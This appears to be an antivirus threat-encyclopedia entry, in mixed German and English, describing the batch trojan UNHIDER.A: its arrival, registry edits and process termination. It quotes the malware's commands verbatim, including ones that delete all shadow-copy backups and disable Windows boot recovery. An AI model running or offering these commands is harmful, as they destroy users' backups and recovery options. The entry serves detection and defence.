Trojan.BAT.UNHIDER.A

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

• REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V Hidden /T REG_WORD /D 1 /F
• REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V ShowSuperHidden /T REG_WORD /D 1 /F
• vssadmin delete shadows /all
• taskkill /f /im explorer.exe
• explorer.exe
• cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

Andere Systemänderungen

Ändert die folgenden Registrierungseinträge:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced
Hidden = 1

(Note: The default value data of the said registry entry is 2.)

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced
ShowSuperHidden = 1

(Note: The default value data of the said registry entry is 0.)

Prozessbeendigung

Beendet die folgenden Prozesse, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

• explorer.exe